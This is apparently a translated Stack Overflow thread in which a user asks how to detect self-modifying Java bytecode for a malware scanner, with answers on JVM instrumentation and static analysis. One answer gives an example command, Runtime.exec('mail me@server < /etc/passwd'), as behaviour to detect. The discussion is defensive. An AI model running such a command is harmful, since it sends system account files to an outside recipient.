java操作字节码/程序指令/自修改代码检测

时间:2016-03-15 17:46:04

标签: java jvm bytecode self-modifying

基本上我试图在java中创建一个检测自修改代码的恶意软件检测程序, 程序应该运行一个jar文件,并确定它是否包含自修改代码

我认为这样做的一种方法是,获取.class文件的初始字节码,然后再将它与正在运行的应用程序文件字节码进行比较,运行的.class文件的字节码应该是相同的,如果是字节码在某一点上是不同的,这意味着程序会修改自己的结构

问题是如何获取正在运行的应用程序的字节码,我想每0.1秒获取一次字节码并再次比较初始字节码。

有没有得到它?

我尝试使用java代理和ASM但是我只能在程序执行之前获取字节码,并且java代理在执行程序main方法之前运行。

 import org.objectweb.asm.ClassReader;
 import org.objectweb.asm.ClassWriter;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;

public class asm {

    //java agent 
    public static void premain(String agentArgs, Instrumentation inst){
    inst.addTransformer(new ClassFileTransformer() {

        @Override
        public byte[] transform(ClassLoader classLoader, /*class name*/String s, Class<?> aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException {

            if ("other/Stuff".equals(s)) {
                // ASM Code
                ClassReader reader = new ClassReader(bytes);
                ClassWriter writer = new ClassWriter(reader, 0);
                //ClassPrinter visitor = new ClassPrinter(writer);
                //reader.accept(visitor, 0);
                return writer.toByteArray();
            }
            //else{
                //System.out.println("class not loaded");
            return null;
            //}

        }
    })
}

此代码使用java代理和ASM,但我需要知道的是如何在执行时获取应用程序的字节码。 如果有人可以就如何在java中识别自修改代码提出不同的方法,我将不胜感激

提前致谢

3 个答案:

答案 0 :(得分:1)

Java中无法自行修改代码。最接近的是Java代理,但是一旦加载了类,字节码就是不可变的。无论如何,使用反射来进行混淆要容易得多。

答案 1 :(得分:1)

你的问题有一些根本的误解。首先:

如果您怀疑代码包含恶意软件,请不要运行它!

有一个分析恶意软件在沙箱中的行为的研究领域,但由于这需要采取谨慎措施以确保软件不会造成任何伤害,因此应留给专家,他们的的环境中。

标准恶意软件检测软件通过在不执行(或在执行)之前分析代码来工作。这导致了搜索的问题:

恶意软件不需要将自我修改代码包含为恶意软件

恶意软件的特征是执行意外的有害操作,为了使它们发挥作用,程序需要在您的计算机上执行I / O或启动其他软件,例如:为了对文件造成损害,您需要文件I / O,发送垃圾邮件或攻击其他计算机,您需要网络I / O,执行Java API未涵盖的操作,您需要加载本机库或启动外部流程。

相反,在Java中,修改自己的代码没有任何效果。修改后的代码无法执行原始代码无法执行的任何操作,如果修改即时发生,它甚至不会对您的计算机环境产生任何持久的副作用。因此,如果试图修改自己的代码的代码确实是恶意软件,它可以直接执行所需的操作而不需要该间接代码。

除此之外,您反复检查代码的想法注定要失败,因为JVM不存储原始字节代码。代码以依赖于实现的方式存储,针对高效执行进行了优化。因此,当代理通过Instrumentation API向JVM请求类的代码时,它不会返回原始代码,而是返回通过转换代码的内部形式而创建的等效代码。

这表示为by the following statement

  

初始类文件字节表示传递给ClassLoader.defineClassredefineClasses的字节(在应用任何转换之前),但它们可能与它们不完全匹配。常量池可能没有相同的布局或内容。常量池可以具有更多或更少的条目。常量池条目的顺序可以不同;但是,方法的字节码中的常量池索引将对应。某些属性可能不存在。如果订单没有意义,例如方法的顺序,则可能不会保留订单。

因此,您不能仅仅比较字节数组,而是必须解析类文件以对其语义进行建模,并将其与先前解析操作的结果进行比较。因此,将JVM的内部代码表示转换为类文件并不是免费的,添加对它的解析和分析,并且您希望每0.1秒对所有类执行该操作。

最后,没有必要这样做。您可以通过启动选项控制,将启动哪些代理以及是否可以附加新代理。如果没有未知代理,则不会非法使用Instrumentation API,因此不会修改代码。

因为,为了真正检测恶意软件,需要进行静态代码分析,找出使用了哪些API(例如I / O,ProcessBuilder等),它很容易检查是否使用了Instrumentation API或ClassLoader也是如此。除了非标准API(应始终引发警告标志)之外,这些是将新代码引入JVM的唯一可能方法。

更艰巨的任务是找出哪些API使用是合法的,哪些是恶意软件的真实标志,并计算未知软件的潜在危险。但这正是挑战,真正的恶意软件检测软件必须接受。

答案 2 :(得分:0)

修改字节代码的最简单方法是通过Instrumentation。这将允许您在加载时监视每个类的字节代码,但是您无法确定另一个Instrumentation代理将不会在您之后运行。即无法确定您是否正在查看最终的字节代码。

还会动态生成许多类,包括lambdas和反射处理程序,因此您没有任何“原始”字节代码来比较它们。

作为练习,您可以通过从类加载器获取字节码并比较它来检测加载时是否通过先前的Instrumentation代理修改了类。

使用恶意软件的一种更简单的方法是通过Runtime.exec执行命令

Runtime.exec("mail me@server < /etc/passwd")

您可以通过检查字节代码并阻止它执行此操作来检测此行为。

一般而言,您需要的是一个真实的恶意软件程序,您可以分析并检测它正在做什么。